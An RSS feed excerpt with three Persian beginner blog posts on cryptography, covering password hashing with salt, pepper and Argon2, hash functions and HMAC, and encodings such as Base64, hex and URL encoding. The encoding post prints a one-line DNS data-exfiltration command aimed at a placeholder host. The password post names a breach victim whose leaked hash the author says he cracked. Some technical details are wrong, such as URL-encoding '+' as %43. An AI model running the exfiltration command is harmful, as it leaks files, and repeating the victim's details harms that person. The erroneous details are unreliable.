پسورداشون یکی بوده :)الگرتیم های ذخیره پسورد (PBKDF2 - bcrypt - scrypt - Argon2) : نکته آخر در باب ذخیره سازی پسورد بحث الگریتم هشی هست که مورد استفاده واقع میشه ، الگریتم های Hahing ای که تاحالا معرفی کردیم خیلی سریع هستن و اگر با اون ها پسورد رو ذخیره کنیم ، مهاجم موقع کرک خیلی خوشبحالش میشه ?بجاش ما میاییم الگریتمی رو استفاده میکنیم که همونطوری باشه ولی خیلی کُند تر باشه ، که وقتی مهاجم خواست Lookup Table بسازه دهنش آسفالت بشه ?الگریتم های ذخیره سازی پسورد عملیات هشی که مثلا الگریتم MD5 یا SHA2 یکبار یا دوبار انجام میدن رو 1000 بار انجام میده ، و اینطوری باعث میشه حدود دو یا شایدم سه ثانیه فرایند هش کردن طول بکشه ، ولی امنیتی که میده خیلی زیاده ، چرا ؟ فرض کنید مهاجم یک میلیون پسورد داره و میخواد با الگریتم MD5 بیاد و Lookup Table بسازه که ساخت هر پسورد حدودا نیم ثانیه طول میکشه ، چقدر طول میکشه ؟ 140 ساعت حدودا ، حالا اگر با الگرتیم Argon2 اینکارو بکنه چون هر پسورد ساختش 3یا2  ثانیه طول میکشه و به عبارتی 830 ساعت کارش طول میکشه ، یعنی تقریبا 6 برابر بیشتر کارش طول میکشه !!!کد هایی که میزارم رو باهم ببینیم : عکس 6ما میاییم برای مثال توی PHP یه مکانیزم ذخیره سازی پسورد پیاده سازی میکنیم ، خط دوم ما Pepper رو مشخص کردیم و طولشم تو خط سوم معلوم کردیم ، خط 4 و 5 ما Salt مون رو به وسیله توابع درونی خود PHP پیاده سازی کردیموقتی کاربر میخواد وارد شه ، پسوردشو وارد میکنه و ریخته میشه توی متغییر خط 13 ، خود PHP براش یه Salt میسازه تو خط 4و 5 و میریزش تو متغییر خط 15 ، تو خط 7 پسورد کاربر با Pepper و Salt پردازش میشه و توسط الگریتم قدرمتند آرگون 2 رمز میشه و ریخته میشه توی متغییر خط 17 حالا یوزر میخواد لاگین کنه ، وقتی وارد سایت میشه و پسورد رو میزنه توی متغییر خط 19 ریخته میشه و بعد تو خط 21 وارد میشه و وارد تابع شرطی خط 23 میشه ، بعد میره توسط تابع خط 10 پردازش میشه ، توی خط 10  پسورد ورودی کاربر با Salt و Pepper هش میشه و در مقابل پسورد هش شده ذخیره شده از قبل مقایسه میشه ، اگر اوکی بود که احراز میشه ، اگر نبود پیغام Invalid براش میادساختار پسورد ذخیره شده و کار با ابزار Openssl  :   بزارید با ابزار قدرتمند Openssl یک پسورد بسازیم که ببینید وقتی توی دیتابیس سمت Back-end ذخیره میشه به چه صورت هست :hpn# openssl passwd -1 وقتی ما passwd رو تایپ کردیم یعنی ما قراره بهت یه پسورد بدیم و اونو برامون با الگرتیم 1 که میشه MD5 هش کن ، و از ما پسورد رو میپرسه و به این صورت نشون میده :$1$7bgFW5iI$XmRSlDK3Wd9DkdUiVoEuB0دقت کنید که این استرینگ سه تا علامت دلار &quot;$&quot; داره ، بین دوتای اول عبارت 1 قرار گرفته که میگه الگریتم استفاده شده MD5 عه ، بین علامت دلار دوم و سوم هم مقدار Salt ما قرار گرفته ، چون مشخص نکردیم رندوم زده برامون و از دلار سوم به بعد پسورد هش شده رو گذاشته برامون ، حالا اگر بخوایم Salt رو دستی بزاریم :hpn# openssl passwd -1 -salt Virgool
$1$Virgool$macUQAD1nNOHf.yaRZ3gU/ما با سویچ salt- امدیم و مقدار سالت دلخواهمونو وارد کردیم ، این روش اصلا توصیه نمیشه ، چرا؟ چون بالاتر گفتم که Salt باید رندوم باشه ، و اینطوری انگار داریم Pepper میدیم ، از اونطرف اگر دستور رو اینطوری زده باشید خود شل ازتون پسورد رو میگیره که امن تره ، ولی اگر پسورد رو خودتون بهش بدید به این صورت : hpn# echo virgool | openssl passwd -1 -stdin -salt Virgool
$1$Virgool$Nie3lsHCp.GEugMtvYDHM0میتونیم با stdin- بهش ورودی بدیم ولی نکته جالبش اینه که این روش اصلا امنیت نداره ، چون اگر مهاجم به شل شما دسترسی بگیره با یه دستور history ساده هم پسورد رو در میاره هم Salt رو :)اگر یه هش بهتون رسید و نفهمیدید چ هشیه میتونید از سایت های زیر استفاده کنید : https://www.tunnelsup.com/hash-analyzer/  https://www.onlinehashcrack.com/hash-identification.php یک مثال عملی و تازه از هک شدن دیتابیس یکی از سایت های ایرانی و عدم استفاده طراحان از Pepper و Salt  نتیجه اون :پایگاه‌داده‌ای حاوی بیش از 2 میلیون خط مروبط به قاصدک 24، سامانه خرید اینترنتی بلیط هواپیما قطار اتوبوس و رزرو هتل نشت پیدا کرده ، و شما به هش های این ها نگاه کنید:برای مثال به بالای عکس قاصدک نگاه کنید ، هش خانم فاطمه حسین نژادیان رو تست میکنیم ببینیم پسوردش چیه :راحت تر از اون چیزی که فکر کنید کرک شد :) ، این یک فاجعس و شما فکر نکنید این مطالبی که میخونید چون سادست بدون کاربرده ، اتفاقا رعایت نکردنشون همچین فاجعه هایی به بار میاره !در مطلب بعدی سراغ رمزنگاری میریم و تازه کارمون شروع میشه :) هر سوال یا انتقادی بود در خدمتم ، یاعلی </description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Fri, 04 Aug 2023 11:34:21 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : HASH و HMAC</title>
                <link>https://virgool.io/b-crypto/crypto3-cnyghrkrmc23</link>
                <description>رمزنگاری مقدماتی به زبان ساده : بررسی مفاهیم و تفاوت HMAC-MAC و HASHباسلام در این بخش به سراغ مفهوم Hash و نحوه رسیدن به Integrity توسط اون میرسیم و اهمیت HMAC رو هم بررسی میکنیم هش یا (Hash) چیست ؟ یک فرمول ریاضی برای تبدیل یک رشته با طول دلخواه به یک عبارت که مثل اثرانگشت برای اون رشته میمونه  برای مثال اگر ما بیاییم و جایگاه عددی هر حرف در زبان انگلیسی رو در نظر بگیریم به عنوان عبارت ریاضی مون ، عبارت hello رو میاییم درنظر میگیریم و میبینیم عدد جایگاه هر حرف چنده و اونارو باهم جمع میزنیم ، اگر این کارو بکنیم به 52 میرسیم ، این 52 میشه اون اثر انگشتی که عبارت یا همون رشته hello داره به 52 یا عبارت خروجی هش یا همون اثرانگشت ما Digest میگیم یا Checksum هم میگن بعضی جاها حالا اگر ما یه تغییری توی پیام ورودی یا همون رشته مون بدیم باید اثر انگشت عوض شده باشه، ما عبارت cello رو با همون فرمول ریاضی مون هش میگیریم و اینبار اثرانگشتش میشه 47 ! یک الگریتم هش باید چند تا قابلیت داشته باشه که اینجا به زبان ساده به اون ها اشاره میکنم : 1- برگشت پذیر نباشه : الگریتم هش یک الگریتم یک طرفه هست ، یعنی اگر ما از یک ورودی به یک خروجی رسیدیم ، نباید بتونیم از خروجی دوباره به ورودی برگردیم ! یعنی از اثر انگشت نباید به رشته و عبارت ورودی برسیم ! اگر الگریتمی برگشت پذیر باشه یعنی خرابه و آسیب پذیره !!(توی مقاله قبلی که Encoding رو بررسی کردیم واژه دوطرفه رو بکار بردیم ،اینجا میفهمید یعنی چی)2 - مقدار خروجی ثابت باشه : عبارت Digest یا خروجی هش باید همیشه مقدار ثابتی داشته باشه و اصلا به اندازه ورودی ربط نداشته باشه3- تغییر کلی هش با تعویض یک کاراکتر : اگر حتی یک کاراکتر از رشته ورودی تغییر پیدا کنه باید کل هش خروجی (digest) عوض بشه (جلوتر بررسی میکنیم)4 - دو مقدار متفاوت خروجی یکسان : یک الگریتم هش نباید وقتی مقادیر متفاوتی میگیره هش یکسان برگردونه (این مورد یکم نیاز به توضیح داره)برای درک مشکل الگریتم که مربوط به ورودی و خروجی میشه به عکس زیر توجه کنید ، اگر یک الگریتم سالم باشه ، ما اگر یه ورودی رو چند بار بهش بدیم باید یه خروجی رو بهمون بده، آمااا اگر یه الگریتم مشکل داشته باشه و ما یه ورودی رو چند بار بهش بدیم ، خروجی های متفاوتی برمیگردونه (این مورد نادره) ، و اگر یه الگریتم خراب باشه ، ما اگر بهش دو یا چند ورودی متفاوت بدیم ، خروجی یکسان برمیگردونه که این یعنی الگریتم خرابه :)Collision in Hashing AlgorithmsCollision یا تداخل در الگریتم چیست؟ قبل اینکه من اختلال یا کالیژن رو براتون توضیح بدم بزارید یه قاعده به اسم قاعده لانه کبوتر یا pigeonhole principle ، خیلی سادست ، میگه اگر ما یه اتاقک یا خونه کبوتر داشته باشه که 8 تا لونه توشه و 8 تا کبوتر داریم ، خب همه میرن تو یه لونه و مشکلی نیست ، اگر یه کبوتر اضافی اینجا بیاد ، پس یک لونه باید دوتا کبوتر رو تو خودش جا بده ، پس اینجا ما اختلال داریم ،خیلــــــی سادهحالا تا بحث اختلال و مشکل تو الگریتم بازه بزارید خیلی ساده از لحاظ ریاضی براتون توضیح بدم چطوری یک الگریتم به Collision یا تصادم میخوره و چطوری کم میاره ، ببینید توی ریاضی ما یه مفهوم داریم به اسم توان ، وقتی میگیم یه عدد به یه توانی یعنی اون عدد رو چند بار در خودش ضرب میکنیم ، مثلا عدد 2 به توان 2 میشه 4 ، یعنی عدد 2 رو دوبار در خودش ضرب میکنیم ، وقتی میگیم 3^2 یعنی دو به توان سه ، یعنی عدد دو رو سه بار در خودش ضرب میکنیم ، توی دنیای کامپیوتر ما 0و1 فقط داریم ، یعنی کلا دو حالت ، حالا اگر ما یه الگریتم خودمون بسازیم که 3 بیت باشه ، الگریتم ما چند حالت خواهد داشت؟ دو به توان سه یا 8 حالت ، حالا اگر با این الگریتم ما بیاییم و هش بگیریم ، الگریتممون میتونه 8 تا فایل رو هش بگیره ، اما اگر ما 9 تا فایل بهش بدیم چون بیشتر از 8 تا حالت نداره پس فایل 9 ام هشش تکراری میشه با یکی از 8 فایل قبلی ! و اینطوری الگریتم به Collision خورده و حالت پایین سمت چپ توی عکس بالا براش رخ میده ، این مفهومو تو ذهنتون داشته باشید و بریم که ازش استفاده کنیم ..Collision in Hashing Algorithmsانواع الگریتم های Hashing : ما اینجا انواع الگریتم های هشینگ یا همون Hashing رو داریم که میخوایم بررسی کنیم ببینیم کدوم امن هستن ، الگریتم اول MD5 هست که خروجی 128 بیتی تولید میکنه (یعنی 128^2 فایل رو میتونه هش بگیره) و این الگریتم دیگه امن نیست چون توش Collision پیدا شده ، الان نمیتونم فنی تحلیل کنم براتون ولی قبول کنید :) البته اگر ازش برای مقایسه دوتا فایل توی سیستم استفاده میکنید اوکیه ولی اگر میخواید توی سازمان یا در سطح کلان ازش استفاده کنید اصلا ایده خوبی نیست الگریتم بعدی SHA1وSHA هست که خروجی 160 بیتی میده ، براش حملاتی کشف شده ولی بعضیاش فقط در حد تئورین و عملی نشدن ، و توصیه شده ازش استفاده نشه تا حد امکان SHA2 الگریتم بعدی هست که امنیت خوبی داره و امن در نظر گرفته شده ،ولی باز حمله براش هست که ما اونو تو مقاله پیشرفته بررسی میکنیم ، ولی درکل همه ورژن های SHA2 امنیت خوبی دارنالگریتم بعدی SHA3 هست که این بار برخلاف SHA1 یا SHA2 توسط NSA ساخته نشده پس امکان شنودش خیلی کمتره و توسط عموم ساخته و پیشنهاد شده و ساختار فرمول ریاضیش کلا عوض شده و امن ترین در حال حاضره  الگریتم بعدی RIPEMD هست که برای جبران الگریتم های دیگه ساخته شد که سرعتش بالاتر باشه که به طبع گند زدن به امنیتش و به مرور زمان توی مقادیر خروجی کم Collision پیدا شد ولی اگر میخواید استفاده کنید از 320 بیتش استفاده کنید و 320 بیتش خیلی امنه ، به حدی که توی PGP که جلوتر بررسیش میکنیم و حتی توی بلاکچین هم ازش استفاده میشهانواع الگریتم های هشینگ و امنیت آنهااستفاده از ابزار OpenSSL و سایر ابزار ها برای Hashing :ما بجز سایت های انلاین چندین ابزار داریم برای هش:hpn# echo -n hello | md5sum
5d41402abc4b2a76b9719d911017c592ما عبارت hello رو با دستور echo و پایپ ریختیم تو ابزار md5sum ، منتها دقت کنید به سویچ n- که اگر نذاریم هش کلا اشتباه میشه چون میاد و بعد عبارت یه Return قرار میده و ما باید اونو حذف کنیمهمین روند برای ابزار sha1sum هست که مختص الگریتم SHA1 ،هست برای SHA2 ما sha224sum و .. داریم (عدد بیتش بعدش میاد حتما) و برای SHA3 هم ما باید بریم سراغ ابزار و کتابخونه قدرتمند Openssl که در سری مقدماتی من کمی ازشو بررسی میکنم ولی تو سری پیشرفته کامل باهاش کار میکنیمhpn# echo -n hello | sha224sum
ea09ae9cc6768c50fcee903ed054556e5bfc8347907f12598aa24193 hpn# echo -n hello | openssl dgst -sha3-224SHA3-224(stdin)= b87f88c72702fff1748e58b87e9141a42c0dbedc29a78cb0d4a5cd81ابزار openssl کلا یکم کارباهاش متفاوته و اینجا فقط قصد معرفی شو داشتم ، خیلی ابزار کاملیه و بهتره کلا برید سراغ این برای هرکاری که توی رمزنگاری دارید، من حتی خودم برای هش md5 و sha2 هم میرم سراغ این ابزاریه نکته ای رو بزارید بررسی کنیم ، قانون سوم و دوم هشینگی که بالاتر گفتم تحت عنوان &quot;مقدار خروجی ثابت باشه&quot; و &quot;تغییر کلی هش با تعویض یک کاراکتر&quot; رو میخوایم باهم اینجا بررسی کنیم ببینیم یعنی چی :در اینجا میخوایم یه کتاب رو باهم هش بگیریم ، این کتاب سایزش مثل کلمه hello انگلیسی 5 تا حرف نیست و 4 هزار کلمه و 21 هزار کاراکتر یا حرف داره ، من نسخه کتاب رو یه کپی گرفتم و  یه حرف آخر از اخرین کلمه این کتاب رو از کوچیک به بزرگ تغییر دادم f-&gt;F ، شما میتونید با هر متنی که میخواید این کارو بکنید و تست کنید ، وقتی wc میگیریم میبینیم هیچ فرقی ندارن (تنها تفاوتشون اینه که یه حرف از یه کلمه از این کتاب رو ما بجای کوچیک ، به شکل بزرگ نوشتیم که اصلا تفاوتی محسوب نمیشه از دید ابزار) :hpn# ls
Alice-Book1.txt  Alice-Book2.txt
hpn# wc Alice-Book*
325  4286 21242 Alice-Book1.txt
325  4286 21242 Alice-Book2.txt
650  8572 42484 totalحالا جفتشو با هر الگریتمی که خواستید هش بگیرید ، من با md5 میگیرم ، فرقی نداره : md5sum  Alice-Book*
726e3074fa8e1a87221a317633996f71  Alice-Book1.txt
079ac160dc49cb0756720db8bca1dc12  Alice-Book2.txtهش دوتا فایل کلا عوض شد و تغییر کرد ، و نکته ای که هست اینه که هیچ تفاوت فاحشی در حتی تعداد کاراکترم نبود ولی هش عوض شد ! یعنی چی ؟ این همون ویژگی سوم هشه که با یه تغییر کوچیک حتی ، کل هش باید عوض بشه ؛ نکته دوم ویژگی دوم هش بود که مقدار خروجی باید ثابت باشه ، ما کلمه 5 حرفی دادیم 32 کاراکتر هش md5 گرفتیم ، یه کتاب 21 هزار حرفی هم دادیم بازم 32 کاراکتر خروجی گرفتیم :) (دقت کنید که اگر خواستید هش فایل رو بگیرید میتونید با cat بخونیدش و بعد | کنید توی ابزار ها ، مثل echo که بالاتر انجام دادیم)نکته : موقع گرفتن هش از یک عبارت هیچوقت کنارش هیچگونه &quot;اسپیس&quot; و &quot;اینتر&quot; نگذارید چون هش بلکل عوض میشه !MAC و HMAC چیست ؟سناریو شماره 1خب حالا فرض کنید میخوایم یه فایل رو بر بستر اینترنت منتقل کنیم و از Hash استفاده کنیم برای اینکه به Integrity برسیم ، ما فایل رو هش میکنیم و طبق عکس سناریو شماره 1 فایل رو با هش میفرستیم ، حالااا اگر یه اتکر وسط راه باشه و فایل رو دستکاری کنه و هش جدید بگیره و بفرستتش طبق عکس سناریو شماره 2 ، پس هش چی میشه ؟سناریو شماره 2سناریو شماره 3اینجاست که مکانیزم HMAC به کار میاد ، به بیان ساده قبل از ارسال فایل ، ما میاییم و از فایلمون به همراه یک کلید باهم هش میگیریم و میفرستیم ، اینطوری اگر اتکری حین تبادل فایل رو بگیره و دستکاری کنه و با هش جدید بفرسته ، چون کلید رو نداره ، وقتی فایل به مقصد میرسه قشنگ معلوم میشه که یه خبرای هست :) کلید حالا چطوری منتقل میشه ؟ انتقال و توافق سر کلید یه بحث مفصلیه و در این سری به طول خلاصه دربارش صحبت میکنیم و در مقاله پیشرفته کامل بررسیش میکنیم ، ولی برای مقدمات بدونید که ما کلیدو از دو طریق به اشتراک میگذاریم ، یکی Out Of Band و دومی In Band ، روش OOB به این صورته که این دو کلید رو توسط یه راه خارجی و فیزیکی ، یا در زمان گذشته به اشتراک بگذارن، مثلا از قبل همدیگه رو دیدن و سر کلید توافق کردن ، یا تلفن زدن یا ایمیل فرستادن و... و کلید رو جفتشون دارن ، ولی روش In Band به این صورته که شما درجا و در آن واحد بدون هیچ گونه تماس فیزیکی و بدون اینکه از قبل چیزی به اشتراک گذاشته باشی ، کلید رو میسازی و باهم به صورت امن رد و بدل میکنید ! جلوتر به این مورد میرسیم فقط خواستم دید داشته باشید !کانسپت MAC همون کلیدیه که به اشتراک گذاشته شده از قبل ، ولی الان زیاد درگیرش نشد چون بحث MAC-KMAC و HMAC به جزء در سری بعدی بررسی خواهد شد به این سایت سر بزنید و از گزینه هاش بخش Hash function و HMAC رو خودتون تست بکنید ، خیلی سایت عالی ایه : https://cryptii.com/ دونستن این مفهوم برای وب کارا خیلی واجبه :)اگر به زبان ساده یا غیر علمی توضیح دادم چون این مقاله برای مبتدی هاست ، در سری پیشرفته با اصطلاحات علمی و رفرنس و کامل بررسی میکنیم همه چیو ;)نکته : مفهوم Hash رو که اینجا توضیح دادم خوب یادبگیرید چون توی بحث آنالیز بدافزار با یه مدل جدیدی از هش آشنا میشید که کلا با این مفهومش متفاوته در مطلب بعدی به بررسی نحوه ذخیره سازی پسورد میپردازیم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی :)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Fri, 28 Jul 2023 21:56:37 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : Encoding  و Encryption</title>
                <link>https://virgool.io/b-crypto/crypto2-qxcpp55b8ijn</link>
                <description> مقالات رمزنگاری مقدماتیبه زبان ساده : بررسی مفاهیم کدگذاری و رمزنگاری، شباهت ها و تفاوت هایشاندر این مطلب به بررسی Encoding و Encryption میپردازیم و میخوایم ببینیم چه فرقی باهم دارن و کجا استفاده میشنرمزنگاری رو ما جلوتر به صورت مفصل بررسی میکنیم ، ولی به صورت مختصر بگم که وقتی ما یک عبارت رو (شامل یک کلمه یا یک رشته تا یک کتاب) رو به یک عبارت غیرقابل فهم تبدیل میکنیم و بعد اون رو منتقل یا ذخیره میکنیم و بعدا اون عبارت غیرقابل فهم رو رمزگشایی میکنیم و به متن اصلی میرسیم ، ما رمزنگاری کردیم من جلوتر این مورد رو بررسی میکنم ولی فعلا همین رو توی ذهنتون داشته باشید قبل از گفتن مفهوم Encoding باید با چند تا عبارت اشنا بشید : مبنای 2-8-10-16 : در علوم کامپیوتر ما دیتا رو درمبنا های مختلفی نمایش میدیم ، مبنای 2 میشه باینری یا همون 0و1 ، مبنای 8 میشه اکتال و اعداد 0 تا 7 رو شامل میشه ، مبنای 10 میشه دسیمال و اعداد 0تا9 و مبنای 16 میشه هگز و اعداد 0تا15 رو شامل میشه ، ما بجای عدد 10 تا 15 از حروف ABCDEF استفاده میکنیم که جلوتر بهش اشاره میکنمکاراکتر : وقتی شما میخواید حروفی رو توی صفحه مرورگرتون ببینید یا برای کسی تایپ کنید ، شما درواقع دارید کاراکتر تایپ میکنید ، هر کشور کاراکتر خاص خودشو داره چون زبان خاص خودشو داره charset (character set) : به سیستمی گفته میشه که میاد از کاراکتر های خاص پشتیبانی میکنه و شما اگر از اون سیستم استفاده کنید میتونید از کاراکتر های مد نظر استفاده کنید به طوری که هم کامپیوتر منظور شمارو بفهمه هم خودتون Symbol &amp; Code point : سیمبول به شکلی میگن که شما روی صفحه میبینید ، مثلا ایموجی لبخند ، مثلا حرف &quot;M&quot; انگلیسی مثلا حرف &quot;م&quot; فارسی و... و کد پوینت به کدی میگن که بیانگر اون سیمبوله ، برای کامپیوتر سیمبول قابل تشخیص و فهم نیست و کامپیوتر از کد عددی یا عدد و حروف برای درک اون استفاده میکنه ، جلوتر مثالش رو میزنم ..ASCII : یک کاراکتر ست یا سیستمی هست که مخصوص زبان انگلیسی آمریکایی ساخته شده و شامل 255 تا کاراکتر میشه ، منظور از &quot;مخصوص زبان انگلیسی آمریکایی ساخته شده&quot; چی هست ؟ یعنی اینکه شما نمیتونید توش از زبان چینی یا روسی استفاده کنید ، یا حتی از کاراکتر های © † ∑ α β « ، از لینک زیر میتونید به لیست کلیه حروف سیستم اسکی دسترسی پیدا کنید برای مثال در سیستم اَسکی حرف &quot;A&quot; بزرگ انگلیسی یک سیمبول هست که چندین کد برای نمایشش وجود داره ، مثلا کد 41 هگز که توی همین مقاله باهاش آشنا میشیم www.ascii-code.com  UNICODE : این کاراکتر ست جهانی و کامل است که امکان میدهد که هر کسی با هر زبانی بتواند از این سیستم استفاده کند و کامپیوتر هم با استفاده از این سیستم تقریبا تمامی زبان هارا متوجه میشود و کاراکتر ست فعلی وب الان یونیکد هست یونیکد به سه صورت پیاده سازی شده : UTF-8  UTF-16  UTF-32 و عدد بعد هرکدوم بیانگر بیت هاییه که استفاده میشه برای نشون دادن کد پوینت هستمثلا ما توی سند HTML خودمون باید ذکر کنیم از چه سیستمی داریم استفاده میکنیم : &lt;meta charset=&amp;quotUTF-8&amp;quot&gt;به عنوان مثال در سیستم یونیکد ما حرف انگلیسی A رو که سیمبول هست با کد پوینت U+0041 نمایش میدیم از لینک زیر میتونید به کل سیمبول ها و کد پوینت های سیستم یونیکد دسترسی داشته باشید : https://symbl.cc/en/#0032 الان شاید بگوید که دونستن این ها به چه دردی میخورد ؟ ما سر تغییر حروف سیمبول اصلا حمله داریم به نام IDN Homograph Attacks یا typosquatting که همون URL Hijacking هست و ... و قراره کلی از این ها توی فرایند دور زدن مکانیزم های امنیتی و حتی چشم انسان استفاده کنیم :) انکودینگ چیست : به فرایند تغییر یک سری کاراکتر ها به کاراکتر های دیگر با فرمت مشخصی گفته میشود ، در انکودینگ شکل نمایش دیتا متفاوت میشود ولی دیتا تغییری نمیکند معمولا برای جابجایی یا انتقال دیتا استفاده میشود و انکودینگ یک مکانیزم دوطرفه است ، یعنی شما متن یا فایل رو به صورت ساده میتونید تبدیل به یک عبارت بکنید و راحت برش گردونید (یک طرفه بودن رو در هش بیشتر بررسی میکنیم)یکی از کاربرد های دیگه ای هم که انکودینگ دارد جلوگیری از دست رفتن دیتا موقع انتقال بخاطر عدم هماهنگی سیستم های انکودینگه ، این مفهوم رو بعدا بیشتر باهاش آشنا میشیمانواع سیستم های انکودینگ : 1- BASE64 : این سیستم انکودینگ برای پروتوکول (HTTP) و وب ساخته شده بود و هدفش انتقال دیتا بود با تمرکز بر روی امنیت بیشتراز لینک زیر میتونید جدول بیس 64 رو مشاهده کنید : https://en.wikipedia.org/wiki/Base64 روش کار به چه صورت هست ؟ به این صورت عمل میکنه که میاد و کل عبارت ورود رو اول به صورت بایت در نظر میگیره (8بیت) و بعد تبدیلشون میکنه به گروه های 6 بیتی ، بعد که تبدیل به گروه های 6 تایی شد طبق جدول بهش مقدار دهی میشه؛ بزارید به عنوان مثال عبارت ویرگول رو تبدیل کنیم به یک استرینگ base64 : 01110110 01101001 01110010 01100111 01101111 01101111 01101100عبارت بالا درواقع همون کلمات virgool هست ولی به مبنای 2 یا مبنای عدد باینری ! حالا ما میاییم این هارو 6 تا 6 تاش میکنیم بجای 8 تا 8 تا (اگر دسته اخری 6 تایی نشد مشکلی نیست)(حواستون به اسپیس باشه که قبل یا بعد عبارت نزارید ، چون خودش کاراکتر حساب میشه و 8 تا بیت حجم میگیره)011101-100110-100101-110010-011001-110110-111101-101111-011011-00حالا توی جدول میگردیم ببینیم نظیر هرکدوم چه حرفی میشه، مثلا اولین گروهمون که 011101 هست میشه حرف d کوچیک ، و به همین ترتیب استرینگ ما میشه :dmlyZ29vbA==یعنی ما اگر بنویسیم virgool فرقی نداره با ==dmlyZ29vbAنکته : چون ما از گروه های 6 تایی استفاده کردیم بجای 8 تایی ، نسبت دیتای خروجی مون به دیتای ورودی 33 درصد بیشتر میشهنکته : وقتی دسته های کد 8 تایی مونو میکنیم 6 تایی ، اگر دسته اخر زیر 6 تا شد ما انتهاشو با 0 پر میکنیم ، به این عمل پَدینگ یا Padding میگن ، که توی رمزنگاری زیاد باهاش سروکار داریم نکته : تو جدول بیس 64 ما برای پدینگ مقدار مساوی یا &quot;=&quot; رو در نظر میگیریم ، اگر به عبارت باینری ویرگول نگاه کنید متوجه میشید که اخرش دوتا صفر مونده و در نهایت ما در عبارت base64 شده دوتا = در انتهای فایل داریم، دیدن = در انتهای استرینگ یکی از ساده ترین و متداول ترین نشانه های شناخت استرینگ بیس64 هستنکته : یکی از موارد کاربرد Base64 برای بحث استخراج دیتا هست که توی امنیت بهش برمیخورید ، یعنی فایل رو تبدیل به استرینگ بیس 64 میکنید و استرینگ رو ارسال میکنید و در نهایت پس از دریافت استرینگ میتونی مجدد اون رو تبدیل به فایل کنید مثلا ما میتونیم بجای دادن آدرس فایل عبارت بیس 64 شو قرار بدیم :&lt;img_src=&amp;quotR0lGODdhTQBYAPAAAP///xA3XSwAAAAATQBYAAAC/4SPqcvtD6OctNqLs968+w+G4kiW5omm6sq27gvHshjUM1fnjX4z+R/Y/XoI4NBnDN6SPCRTxmwqolIWVbm4VlNaoRbLvXq/YFN3TEZ9HWTg6Qxpl0NribwEn6RHecqeLoZRB9JnMehRaBj4saiR6EiF2IgTxTgJWSkZqfnE2dlxmfF4ESpYSroJeqqYqZpK2Qobu7FaMco6a1pr+yp6i/up2ysbjLrLe+yU7PerPOy6bNBGMh1XzXeXJTcHuO3t9vYtHia+vVJufo5+qLIe3e0ODhMvH0NvQ0RPVFS+P+Xt71+6gAcAEiw48KDBg9ISElyo0GHAbwwbZmMIEeO1ih4Wm/nzODEXxwRJRlo7YvLBlpQ+WLp8CTOmzJkyCgAAOw==&amp;quotalt=&amp;quotBase64 encoded image&amp;quotwidth=&amp;quot150&amp;quotheight=&amp;quot150&amp;quot/&gt;یا مثلا برای بحث DNS Data Exfiltration میتونیم از بیس 64 استفاده کنیم با کد زیر : cat file.txt | od -A n -t x1 | sed &#039;s/ *//g&#039; | while read file; do ping -c 1 $file.host.tld; done اگر کد رو متوجه نشدید یا کانسپت Data Exfiltration براتون مبهمه از این قسمت بگذرید و بعدا که یادگرفتید برگردید و دوباره مطالعه کنید2- HEX(16) : هگز یا هگزادسیمال یا مبنای 16 که بالاتر گفتم به عنوان انکدوینگ مورد استفاده قرار میگیره ، هرچند بین علما اختلافه که انکودینگ هست یا نه ولی شما زیاد درگیرش نشید :)        وقتی میخواید وارد شاخه باینری اکسپلویت یا تست نفوذ شبکه بشید و میخواید با مقادیر حافظه کار کنید یا سطح پایین کد بزنید (Low Level Programming) نیاز دارید که با این زبان آشنا باشید ، کاربردی که در حوزه باینری داره اینه که باینری کلا 0 و1 عه ولی انسان ها چون نمیتونن با چشمشون راحت و سریع این مقادیر رو بخونن یا حتی متوجه بشن ، این مقادیر 0و1 تبدیل به مقادیر هگز میشن و در نهایت ما با اون ها کارمیکنیم، مقادیر هگز به 4 روش مختلف نمایش داده میشن : #11 : این مدل بیشتر تو حوزه رنگ و گرافیک هست ، اگر با فتوشاپ کار کرده باشید برای مشخص کردن عدد یک رنگ مقدار هگزشو به این صورت وارد میکنید H1 - 1h : این هم یک نوع نمایش هست که مثلا ترکیب عدد و بعد h رو برای نمایش مقادیر دوباره در دیباگر ها میبینید وقتی مهندسی معکوس میخواید بکنید11&amp; : این مورد بیشتر در حوزه برنامه نویسی و بازم باینری کاربرد داره و شما وقتی میخواید مثلا به یک آدرس مموری اشاره کنید (Memory Pointer) از این سبک آدرس دهی استفاده میکنید0x11 : و در نهایت این مورد که توی دیباگر و بحث مهندسی معکوس استفاده میکنن برای کار با آدرس حافظه سیستم بسیار ساده ای هم داره ، ما اعداد رو از 0 تا 9 میشماریم و از عدد 10 تا 15رو با حروف ABCDEF نمایش میدیم ، یعنی بجای 10 نمینویسیم  10 عددی ، مینویسیم A ، و این سیستم بیشتر جدولیه تا حفظی و فرمولی ، جدولشم همون لینک ASCII هست که اول مقاله دادمنکته : توی نمایش مقادیر در مبنای هگز حروف بزرگ یا کوچیک مهم نیستن ، ولی اگر بخوایم حروف بزرگ و کوچیک رو در مبنای هگز نمایش بدیم باید کد جدا استفاده کنیم ، مثلا A میشه 0x41 و a میشه 0x613 - URL Encoding : این بیشتر از سیستم انکودینیگ یک سیستم جایگزینی هست ، چرا حالا ما این روش  رو داریم؟ چون URL یک وبسایت فقط کاراکتر های ASCII رو قبول میکنه ، چرا ؟  چون در نهایت وب سرور نمیتونه متوجه بشه کاراکتری بجز ASCII ، لینک زیر رو باز کنید و مقادیری که برای هر کاراکتر هست رو مشاهده میکنید ، فقط در نظر داشته باشید که در این روش قبل هر عدد باید یه &quot;%&quot; هم بزاریم  https://www.w3schools.com/tags/ref_urlencode.ASP برای مثال ما یه آدرس اینطوری داریم و میخوایم به سمت سرور پاسش بدیم(Pass) و سرور پارسش کنه (Pars یا پردازش) :www.virgool.io/crypto+graphywww.virgool.io/crypto%43graphy دقت کنید بجای + ما از %43 استفاده کردیم، این مورد در حملات سمت وب ، وقتی شما میخواید دست به آمپول بشید برای تزریقات خیلی بدردتون میخوره ;)4 - UTF : یادتون که نرفته ، ما میتونیم با استفاده از این هم دیتارو به شکل های مختلف نمایش بدیم نکته : مبناهای 2،8،10،16 ای که اول مقاله اشاره کردن هم بعضی جاها مبنای انکودینگ به حساب میان و هر کاراکتر میتونه به مبنا های مختلف تبدیل بشه که فکر کنم با یه سرچ ساده 